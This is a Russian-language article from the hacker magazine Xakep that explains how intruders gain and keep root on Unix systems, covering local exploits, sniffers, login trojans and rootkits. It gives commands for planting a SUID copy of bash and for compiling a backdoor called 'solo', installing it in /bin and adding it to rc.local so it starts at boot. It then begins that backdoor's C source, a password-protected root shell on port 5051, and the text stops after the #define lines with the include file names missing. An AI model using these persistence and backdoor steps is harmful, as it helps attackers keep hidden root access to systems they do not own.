
Рубрика: Юниксоид
Xakep Online -> Журнал, номер #008, стр. 008-034-5
Локальные эксплоиты - это программы, позволяющие получить права суперпользователя, создать suid файл или получить доступ в группу суперпользователя. Чтобы найти нужный эксплоит, требуется знать тип системы и ее версию. Это можно выяснить с помощью команды uname, и затем на каком-либо сайте по безопасности Юникс найти эксплоит для данной системы.
Сниферы - программы, которые ловят сетевой трафик на каком-либо интерфейсе, это может быть как ethernet, так и ppp. Например, если на сервере стоит снифер, то при заходе пользователя в систему снифер перехватывает его логин и пароль.
Трояны - это программы, которые являются заменой реальных программ, таких как login или su. Они запрашивают пароль, записывают его в файл, потом выдают сообщение, что пароль введен не верно, и затем запускают реальную программу замены пасса.
SUID файлы позволяют выполнять команды с правами другого пользователя (часто root-а). Например, скопируем /bin/bash в твой домашний каталог и сделаем его SUID программой (делается с правами root, чтобы потом легко получать права суперпользователя, если администратор закроет дыру).
$ cp /bin/bash /home/hax0r
$chmod 4775 /home/hax0r/bash
Теперь при запуске этой копии bash все команды будут выполняться с правами суперпользователя.
Как затроянить систему для удаленного доступа:
Если ты получил права суперпользователя и хочешь сохранить доступ к системе надолго (часто администратор замечает, что его система была взломана и закрывает дырку и доступ пользователю, который получил полный доступ), то нужно установить так называемый троян фальшивых демонов или backdoor. Для этого можно установить программу демона, позволяющую зайти в систему с правами root-а, используя определенный порт.
Rootkit - набор программ для скрытия твоего присутствия в системе.
Можно затроянить существующего демона. Вот пример простого трояна, который вешается в бэкграунд из-под рута и открывает порт. Если на этот порт зателнетиться и ввести пароль, указанный тобой, троян дает шелл с правами root-a. Инсталлировать его следует из-под прав root-a или, например, если администратор поставил атрибуты возможности записи всеми пользователями в загрузочные скрипты (в различных системах загрузочные скрипты называются по-разному, далее приведен пример для Linux).
$ gcc -o solo solo.c
$ cp solo /bin/solo
$ rm solo.c
$ echo "solo &" >> /etc/rc.d/rc.local
---------- Троян solo.c ---------------
/* back door original: hz ; modif:mal,delta */
#include
#include
#include
#include
#include
#include
#include
#include
#define PORT 5051 /* порт */
#define MSG "welcome home\n\n" /* приветствие-)*/
#define SHELL "/bin/sh" /* шелл */
#define PASSAUTH
#define PASSWD "satan666" /* пароль */